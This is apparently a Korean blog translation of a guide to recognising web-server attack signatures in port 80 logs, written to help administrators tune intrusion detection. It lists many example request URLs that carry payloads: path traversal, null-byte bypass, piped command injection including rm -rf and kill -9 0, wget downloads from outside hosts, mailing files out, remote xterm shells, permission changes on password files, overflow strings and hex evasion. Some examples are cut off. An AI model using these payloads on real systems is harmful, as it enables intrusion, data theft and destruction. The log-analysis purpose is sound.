웹서버가 실행되고 있는 동안 몇몇 응용프로그램들이 이 문자를 사용할 수도 있다. 로그파일안에서 이들을 구별 할 줄 알아야 한다.

다른 한편으로는, 이 요청이 때때로 시스템 명령을 실행하는 것을 돕는데 사용될 수 있다.

아래 예를 보자.

* http://host/cgi-bin/lame.cgi?page=ls%20-al| (ls -al은 유닉스 명령에서 사용되는 것이다.)

위의 예제는 공격자가 ls명령어를 유닉스의 명령인자와 함께 구성하여 실행하는 것을 보여준다.

이 명령인자는 디렉토리내의 모든 파일 리스트를 보기 위해 서버에 요청하는 것이다.

이것은 당신의 시스템 위에 중요한 파일들을 공격자가 접근하는 것을 허락할 수 있고, 더 나아가 공격자에게 더 높은 권한을 얻는 방법에 대한 아이디어를 줄 수 있다.


"%00" 요청하기.

이것은 NULL을 위한 hex값이다.

이것은 웹 응용프로그램이 정상파일을 요청한 것으로 생각하게 만들어 공격자의 파일 타입을 속이는데 사용될수 있다.

아래 예를 보자.

* http://host/cgi-bin/lame.cgi?page=index.html
위의 예제는 정상으로 웹서버에게 요청하는 경우 이다. 만약 공격자가 위의 요청에 대하여 취약점이 있는지를 찾기 위한 것이라면 아래와 같이 입력해야 한다.

* http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
웹서버는 파일 확장자가 .htm, .html, .shtml혹은 다른 파일 타입에 대하여만 허용하기 때문에 위의 예제는 요청을 불허 할 수 있다.

웹서버에 위와 같은 요청이 들어오면 서버는 적절한 파일 타입이 아니라고 당신에게 응답을 주게 될 것이다. 좀더 정확하게 그것은 공격자에게 파일이 정확한
filename으로 끝나야 한다고 말할 것이다. 여기서 공격자는 당신의 시스템에 관한 많은 정보를 획득하기 위해 시스템 파일들이 위치한 패스를 정확히 알려고 할 것이다.

* http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html
이 요청은 서버에게 미리 접근 가능하도록 정의된 파일 형태로 속이기 위해서 사용된다.

몇몇 웹 응용프로그램들은 보통 일반적인 접근 가능한 파일들을 속일 수 있기 때문에 공격자들에 의해 사용되는지를 조사하여야 한다.

"|" 요청하기
이것은 파이프 문자로, 유닉스의 복잡한 명령들을 한번에 실행하기 위해 필요한 기호이다.

예제: #cat access_log| grep -i ".."
이것은 access_log파일 안에서 공격자들이 ".."를 요청한것을 찾기 위해 사용되는 명령어 이다.

종종 침입탐지 시스템의 로그들은 웹 응용프로그램들이 정상적으로 사용하는 이러한 요청을 공격성 코드로 인식하는 경우도 발생한다.

그러므로 당신의 웹 서버 응용프로그램들이 이러한 정상 코드를 발생시키는지에 대한 시험을 통하여 허위 탐지 정보를 판단하여야 한다.

몇몇 예제들이 아래에 있다.

* http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|
이 요청은 보통 ls명령어를 실행하기 위한 것이다. 위의 요청에 조금 다른 변화를 주어보면,

* http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|
이 요청은 유닉스 시스템의 /etc 디렉토리의 모든 내용을 볼 수 있다.

* http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"
이 요청은 cat명령을 실행하여 access_log파일 내용중에 lame문자열을 찾는 것이다. 물론 grep명령어의 i옵션도 함께 사용하였다.


";" 요청하기.
이것은 복합적인 명령들을 연속적으로 유닉스 시스템 위에서 실행되게 하는 문자이다.

예제: #id;uname -a (id명령을 실행한 이후 uname명령어를 실행합니다)
종종 서버내의 프로그램들이 시간을 표현하기 위해 사용되는 문자일 수 있지만, 침입탐지 시스템에서 경보를 발생시킬 수도 있다.

한번 당신의 응용프로그램들을 점검하여 침입탐지 시스템의 룰을 재 적용하면 많은 오용탐지를 막을 수 있다.

"<" and ">" 요청하기.

이 문자들은 많은 이유로 인하여 침입탐지 로그에서 체크되어 진다. 이 문자를 사용하는 첫번째 이유는 파일의 입출력을 변경하거나 파일 내용을 추가할때 사용되어 진다.

예제 1: #echo "your hax0red h0 h0" >> /etc/motd
이것은 /etc/motd파일안에 내용을 쓰는 것을 보여준다. 공격자는 당신의 웹사이트를 손상시키기 위해 이렇게 간단한 요청을 사용할 수 있다.

rain.forest.puppy에 의해 유명해진 RDS 공격코드는 매번 echo명령을 사용하여 웹사이트의 메인 페이지를 변경하는데 사용하였다. 특별한 포멧이 없는 웹사이트 해킹에는 echo명령을 이용한 것을 attrition.org에서 찾을 수 있다.

Example 2: http://host/something.php=Hi%20mom%20I'm%20Bold!
이 요청은 크로스 사이트 서버 스크립팅 공격 예제이다. 당신은 html테크를 사용하여 "<"나 ">" 문자를 웹 서버에 쓸 수 있다.

이 공격은 사용자가 원래 접속하려던 웹 사이트의 접속을 차단하고 똑같은 웹사이트로 링크를 만들어 사람들을 속여 자신이 접속한 웹서버 정보가 정확하다고 속이데 사용할 수 있다.
(물론, 공격이 성공하려면 똑같은 웹사이트 링크가 필요하다.-)
(접속하는 hex값이 암호회 된다면 이러한 서버 사이트 스크립팅 공격은 막을 수 있다.)

"!" 요청하기

이 문자는 종종 SSL(Server Side Include)공격에 사용된다. 이들 공격은 공격자가 사용자들이 잘못된 웹 사이트 링크를 클릭하는 것과 같은 크로스 사이트 스크립팅 공격과 비슷한 결과를 가져올 수 있다.

아래 예제를 보라.
http://host1/something.php=위의 예제는 원격지 시스템의 유닉스 명령어인 "id" 실행을 요청한 것이다. 이것은 웹서버 데몬 사용자를 보여줄 것이다. 대게 "nobody"나 "www"일 것이다.

이것은 또한 숨겨진 파일 내용을 볼수도 있다.

아래 예제를 보라.
http://host/something.php=이것은 .htpasswd파일에 관련한 것이다. 이 파일은 일반적으로 웹서버의 접근 권한을 제어하는 파일이며, 아파치 웹서버 내의 설정파일에 의하여 ".ht"은 웹에서 접근하지 못하도록 하고 있다.

이 SSL테그는 서버의 보안정책 사항을 우회할 수 있는 통로를 제공한다.

"이것은 종종 원격지 웹 응용프로그램인 php에 인자를 입력하는데 사용된다. 서버의 특정 인자 값이나 서버의 환경을 설정할 수 있는 명령들을 실행하는 것을 가능하게 한다.

아래 예제를 보라.
http://host/something.php=
잘못 작성된 php 프로그램은 원격지나 로컬에서 웹서버 권한의 명령어를 실행할 수 있다.
이 취약점에 더하여 공격자는 hex값을 암호화 하여 동일하게 요청할 수 있다. 그러므로 당신은 작성된 프로그램을 세밀하게 점검하여야 한다.

"`" 요청하기.
"`"문자는 perl에서 명령어를 실행하는데 자주 사용되어 진다. 이 문자는 보통 웹 서버 프로그램에서는 사용되지 않는다. 그러므로 당신은 이것이 얼마나 타당한 로그인지를 주의깊게 살펴볼 필요가 있다.

아래 예제를 보라.
http://host/something.cgi=`id`
이것은 취약한 perl로 작성된 프로그램에서 "id"명령을 실행할 수 있다는 것을 보여 준다.


III. 고급 Fingerprints

이 장에서는 공격자가 요청할 수 있는 파일들과 함께 더 많은 실행가능한 명령어를 사용하는 방법에 대하여 초점을 맞출 것이다.
공격자는 원격지 시스템의 완전한 명령이나 파일들의 목록을 요청하지는 못하지만 당신의 시스템을 배경으로 충분한 아이디어를 제공해 줄 수 있다.

* 취약점이 존재할때 공격자가 사용할 수 있는 일반적인 명령어.

"/bin/ls"
이것은 ls명령어인 바이너리 파일이다. 보통 웹 응용프로그램에 홀이 존재하면 바이너리 파일의 전체 패스명을 사용하여 요청한다.
만약 당신의 웹 로그에서 이 명령어를 발견한다면 원격지에서 로컬 시스템의 명령어를 실행 할 수 있다는 것을 보여준다. 때때로 허위 경보일 수 있으므로 항상 문제가 될수 없다.
가능하다면 당신의 웹 프로그램에서 이러한 로그 파일과 동일하게 시험하여 보고 그 결과값을 연구할 필요가 있다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
예제: http://host/cgi-bin/bad.cgi?doh=ls%20-al;

"cmd.exe"
이것은 윈도우 쉘 이다. 만약 공격자가 이 윈도우 쉘을 실행 할 수 있다면 서버 권한에 의지하고 있는 윈도우 시스템은 어떠한 명령이라도 실행 할 수 있다.
거의 대부분의 인터넷 웜 바이러스는 포트 80번을 이용하여 이 cmd.exe를 이용한다. 또한 감염된 서버는 cmd.exe를 사용하여 또 다른 시스템에게 바이러스를 전파시키기도 한다.

http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:
"/bin/id"
이것은 유닉스의 "id"명령에 대한 바이너리 파일이다. 보통 웹 응용프로그램에 홀이 존재하면 바이너리 파일의 전체 패스명을 사용하여 요청한다.
만약 당신의 웹 로그에서에 이 명령어를 발견한다면 원격지에서 로컬 시스템의 명령어를 실행 할 수 있다는 것을 보여준다. 때때로 허위 경보일 수 있으므로 항상 문제가 될수 없다.
가능하다면 당신의 웹 프로그램에서 이러한 로그 파일과 동일하게 시험하여 보고 그 결과값을 연구할 필요가 있다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
예제: http://host/cgi-bin/bad.cgi?doh=id;

"/bin/rm"
이것은 유닉스의 "rm"명령에 대한 바이너리 파일이다. 보통 웹 응용프로그램에 홀이 존재하면 바이너리 파일의 전체 패스명을 사용하여 요청한다.
만약 당신의 웹 로그에서에 이 명령어를 발견한다면 원격지에서 로컬 시스템의 명령어를 실행 할 수 있다는 것을 보여준다. 때때로 허위 경보일 수 있으므로 항상 문제가 될수 없다.
이 명령은, 다른 한편으로는, 공격자나 사용자에 의하여 사용되든지 양쪽다 파일을 삭제하는 것을 허용하기 때문에 상당히 위험하다.
가능하다면 당신의 웹 프로그램에서 이러한 로그 파일과 동일하게 시험하여 보고 그 결과값을 연구할 필요가 있다. 만약 이러한 시험을 하고자 한다면 시스템내의 중요한 파일들에 대해서는 점검하고 사용하길 바란다.
만약 stupid.txt파일을 삭제한다면, 그것은 웹 사이트내의 루트 디렉토리에 보여지지는 않는다. 테스트할 목적이라면 새로이 파일을 만든다음 시험하여 보라.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|
예제: http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;

"wget, tftp" 명령어
이 명령은 공격자가 서버에 파일을 다운로드 하기위해 사용되거나 바이러스를 전파하기 위해 자주 사용된다. 때론 공격자가 사용자 권한을 한층 더 높이기 위해 사용되기도 한다.
wget은 유닉스 명령어로 백도어를 심기위해 다운로드할때 사용되어 진다. tftp 명령어는 유닉스나 NT모두에서 사용가능한 파일 다운로드 명령이다.
몇몇 IIS 바이러스는 tftp명령어를 사용하여 자신들을 복제하는데 사용되어 지며, 또한 다른 시스템으로 전이하기 위해 사용되어 진다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|
예제: http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;

"cat" 명령어
이 명령어는 파일의 내용을 보는데 자주 사용되어 진다. 이 명령어는 시스템의 환경파일, 패스워드 파일, 크레디트 카드관련 파일, 등등 당신이 생각할 수 있는 거의 모든 중요한 파일들의 내용을 볼 수 있다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd|
예제: http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;

"echo" 명령어.
이 명령은 종종 index.html과 같은 파일 내용을 덧붙일때 사용된다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt|
예제: http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;

"ps" 명령어.
이 명령은 현재 실행중인 프로세서 리스트를 보여 준다. 이 명령은 공격자에게 원격지 시스템에 안전치 않은 소프트웨어를 알려 줄수 있고, 또한 공격자에게 시스템내의 많은 정보를 알려 줄수 있다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|
예제: http://host/cgi-bin/bad.cgi?doh=ps%20-aux;

"kill, killall" 명령어.
이 명령어는 유닉스 시스템에서 실행중인 프로세서를 중지시킬때 사용되어 진다. 공격자가 이 명령어를 사용할 수 있다면 시스템 서비스나 프로그램을 중지시키거나 재시작 할 수 있다.
공격자는 이 명령을 또한 그가 실행시킨 프로세서를 중지 시키거나 공격이후 생성한 프로세서를 없애는데 사용하기도 한다.

예제: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|
예제: http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;

"uname" 명령어.
이 명령어는 공격자가 원격시스템의 호스트 이름(커널, OS종류, 패치여부, Release정도)을 알고자 할때 사용된다. 때때로 웹사이트가 ISP에 연결되어 있으면 이 명령어를 통해 그가 접근가능(공격가능한)한 방법에 대한 아이디어를 제공하기도 합니다.
보통 "uname -a"명령어는 로그파일에서 다음과 같이 나타납니다.
"uname%20-a".

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a|
예제: http://host/cgi-bin/bad.cgi?doh=uname%20-a;

"cc, gcc, perl, python, etc..." 컴파일러/인터프린터 언어들.
"cc"나 ""gcc" 명령어는 프로그램의 수정을 허용한다. 공격자는 wget이나 tftp명령을 사용하여 공격성 코드를 다운로드 한 다음 이 컴파일러를 이용하여 프로그램을 편집하기도 한다.
아무곳에서나 이러한 것이 가능하다면, 로컬 시스템은 악의적으로 사용될 수 있다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c|
예제: http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;

만약 공격자가 "perl"이나 "python"을 위한 스크립트 요청을 보게 된다면 공격자는 원격지에 perl이나 python스크립트를 다운로드 할 것이고, 당신의 시스템을 악의적으로 이용할 것이다.

"mail" 명령어.
이 명령어는 공격자가 자신의 이메일 주소로 원격지 시스템의 특정 파일을 받고자 할때 주로 사용된다. 또한 mail명령어는 스팸머(대량메일을 네트워크에 전송하는)에게 매우 자주 사용되는 명령어 이기도 하다.
예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20<<%20/etc/motd|
예제: http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20<
"xterm/Other X application" 명령어.
Xterm명령어는 원격지 시스템의 X-Windows에서 사용되는 쉘을 얻기 위해서 자주 사용된다. 만약 당신의 웹 로그에서 이러한 형태를 보게 된다면 그것은 당신의 시스템 안전을 위협하는 요소 이다. 당신의 로그 내용중에 아래와 같은 형태가 있는지 점검하여 보라.
"%20-display%20"
이러한 fingerprint는 xterm이나 X관련 응용프로그램을 원격지 호스트에서 사용하기 위해 자주 이용하는 형태이다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1|
예제: http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;

"chown, chmod, chgrp, chsh, etc..." 명령어.
이 명령어는 유닉스 시스템의 권한설정 부분을 변경할때 사용되는 명령어 이다.
아래에 각각 개별적으로 간단히 설명하였다.
chown = 파일 소유자를 변경한다.
chmod = 파일의 엑세스 권한을 설정한다.
chgrp = 파일의 소유자 그룹별을 변경한다.
chsh = 현재 사용자의 쉘을 변경한다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html|
예제: http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html;
예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd|
예제: http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh;
예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|


* 보통 공격자들이 요청하는 파일들.

"/etc/passwd" 파일.
이것은 시스템 패스워드를 담고 있는 파일이다. 이것은 보통 패스워드부분이 암호화 처리 되어 공격자에게 패스워드를 쉽게 획득하지 못하도록 하고 있다.
그러나 공격자에게 다른 한편으로 많은 정보를 줄 수 있다. 예를 들면 사용자 이름, 그룹정보, 사용중인 쉘, 홈 디렉토리 등등.
종종 공격자들은 암호화된 패스워드 파일인 /etc/shadow파일을 보려고 할 것이다.

"/etc/master.passwd"
이 파일은 BSD시스템의 암호화된 패스워드 파일이다. 이 파일은 단지 루트 사용자만이 읽을 수 있지만 경험없는 공격자들은 아마도 이 파일을 읽기 위해 노력할 것이다.
만약 웹서버가 루트 사용자로 실행되고 있다면 공격자는 이 파일을 읽을 수 있을 뿐만 아니라 시스템에 많은 문제를 야기 할 수 있다.

"/etc/shadow"
이것은 암호화된 패스워드를 담고 있는 시스템 패스워드 파일이다. 이 파일은 단지 루트 사용자만이 읽을 수 있지만 경험없는 공격자들은 아마도 이 파일을 읽기 위해 노력할 것이다.
만약 웹서버가 루트 사용자로 실행되고 있다면 공격자는 이 파일을 읽을 수 있을 뿐만 아니라 시스템에 많은 문제를 야기 할 수 있다.

"/etc/motd"
이것은 "Message Of The Day"파일로 사용자가 로긴하였을 때 보여지는 메세지 내용을 담고 있는 유닉스 시스템 파일이다. 이 파일은 중요한 시스템 정보를 관리자가 일반 사용자들에게 공지하기 위한 정보를 제공할때 사용되어 진다.
공격자는 시스템 용도를 알기 위하여 종종 이 파일 내용을 조사하게 된다. 시스템에 접근하기 위하여 사용되어지는 OS에 따른 공격코드를 연구할때 사용되어 지기도 한다.
"/etc/hosts"
이 파일은 네트워크 정보나 IP주소에 관한 정보를 제공한다. 공격자는 이 정보를 당신의 시스템과 네트워크 설정에 관한 많은 정보를 찾아내는데 사용할 수 있다.

"/usr/local/apache/conf/httpd.conf"
이것은 아파치 웹서버의 환경파일이다. 이 패스정보가 시스템 마다 서로 틀릴 수 있지만 보통은 위와 같다.
이 파일은 공격자에게 웹사이트에 관련한 CGI,SSL접근이 허락되는지와 같은 특별한 정보를 알려줄 수 있다.

"/etc/inetd.conf"
이 파일은 인터넷 서비스 관리자에 관련한 환경설정 파일이다. 이 파일은 원격지 시스템에서 사용중인 데몬에 대한 내용을 담고 있다.
이 파일은 또한 공격자에게 원격지 시스템이 각 데몬을 위한 접근 제한을 설정하고 있는지도 알 수 있다.
만약 접근 제한이 설정되어 있다면 공격자는 다음 파일을 조사 할 것이다. /etc/hosts.allow 나 /etc/hosts.deny 파일이다. 공격자는 아마도 원격지 서버에 접근 권한을 얻기 위해 이 파일내용을 수정할 것이다.

".htpasswd, .htaccess, and .htgroup"
이 파일은 웹사이트의 패스워드 인증을 위해 사용되어 진다. 공격자가 이 파일 내용을 보게 되면 웹 사이트에 접속하기 위한 사용자명과 패스워드를 알아 낼 것이다. 이 파일 내용중 패스워드는 암호화 되어 있다.
그러나 이 암호화된 패스워드는 패스워드 크랙을 이용하여 간단하게 풀 수 있다. 공격자는 아마도 사용자 이름과 패스워드 크랙을 통해 쉽게 웹사이트에 접속할 수 있다.
(많은 사람들은 사용자명과 같은 패스워드를 사용한다. 공격자는 종종 이것을 알아채어 사용자명만 가지고 쉽게 접근할 수 있다.)

"access_log and error_log"
이 파일은 아파치 웹서버의 로그 파일들이다. 공격자들은 때때로 자신들의 접속 로그가 있는지 알기 위하여 이 로그 파일을 조사합니다. 종종 공격자들은 자신의 접속과 관련한 내용이 존재하면 모두 삭제하거나 편집하기도 한다.
공격자가 포트 80을 이용하여 이들 파일들을 삭제 할 수 있다면 당신은 시스템복원을 위해 상당히 힘들 수 있다. 그러므로 이 로그 파일은 항상 백업을 받는다든지 아니면 다른 시스템에 동시 저장하여야 한다.

"[drive-letter]:\winnt\repair\sam._ or [drive-letter]:winnt\repair\sam"
이것은 윈도우 NT에서 사용하는 패스워드 파일이다. 공격자는 원격지 시스템에 명령실행이 되지 않는다면 종종 이 파일을 요청할 것이다. "l0pht crack"프로그램을 실행하면 원격지 윈도우 시스템의 패스워드를 크랙하는데 성공할 수 있다.
공격자가 관리자 패스워드를 알아내면 원격지 시스템을 자신의 것으로 만드는 것은 매우 쉽다.


IV. 오버 플로워 Fingerprints

버퍼오버 플로워에 관련한 문서를 여기서는 많이 소개하지는 않겠지만, 간단한 몇개의 일례만을 예제로 보여줄 것이다.
버퍼오버 플로워는 다른 트릭들이나 암호화에 의하여 시스템을 혼란시키는데 사용된다.

아래 예제를 보라.
예제:
http://host/cgi-bin/helloworld?type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

공격자는 굉장히 많은 문자 'A'를 전송하여 원격지 서버 프로그램의 버퍼를 넘치게 할 수 있다. 버퍼오버 플로워는 공격자에게 원격지 명령을 실행할 수 있는 권한을 준다.
만약 응용프로그램의 소유자가 루트이고 suid가 설정되어 있다면 시스템에 대한 모든 접근 권한을 획득할 수 있다. 만약 suid가 설정되어 있지 않다면 웹서버를 실행중인 사용자 권한을 획득할 수 있다.
버퍼오버 플로워에 관련한 더 많은 내용들이 있지만 여기서는 다루지 않을 것이다. 규칙적인 문자 배열이 로그파일에 있다면 당신은 충분히 조사하여야 한다. 만약 로그파일에 지속적으로 엄청난 요청들이 존재한다면 그것은 아마도 새로운 인터넷 바이러스의 한 형태 일 수 있다.

V. Hex 암호화 - (침입탐지 시스템을 피하기 위한)

fingerprint 공격에 관한 모든 레퍼런스는 침입탐지 시스템이 공격 요청들을 위한 문자만을 체크한다는 것을 알고 있다. 오래전부터 공격자들은 hex값 안에서 그들의 요청을 암호화 하여 침입탐지 시스템을 회피하였다.
Whisker로 알려진 CGI스캐너가 대표적인 예이다. 만약 당신의 로그들을 보고 많은 hex나 특이한 문자들을 인지한다면 그것은 공격자가 당신의 시스템을 공격하려는 시도일 가능성이 있다.
hex에 대한 의미를 가장 빨리 체크하는 방법은 로그파일의 내용을 브라우져에 복사하여 실제 적용되는 상태를 보는 것이다.
만약 당신이 404페이지 오류가 보이지 않고, hex값을 웹서버에 전송한 결과 요청이 성공적으로 이루어진다면 당신은 그 결과를 알 수 있을 것이다.
만약 당신이 이러한 보안 위험을 무릅쓰지 않겠다면, 간단히 암호화된 문자를 적당히 ascii값으로 변경하여 해석하여야 할 것이다.

VI. 결론
이 문서는 80포트에 대한 모든 공격코드를 기술하지는 않았다. 그러나 거의 대부분의 일반적인 공격에 대하여는 기술하였으리라 믿는다.
여기서 당신에게 말하려는 것은 당신의 로그 파일 내용을 점검하기 위한 방법과 침입탐지 시스템의 룰을 적용하기 위한 간단한 아이디어를 제공하였다.
여기서 작성한 것은 웹 서버 관리자가 조심하여야 할것이 무엇이며 또한 안전한 웹 응용프로그램을 개발하는 방법에 대해 도움을 주려고 하였다.
Posted by 큰바우
: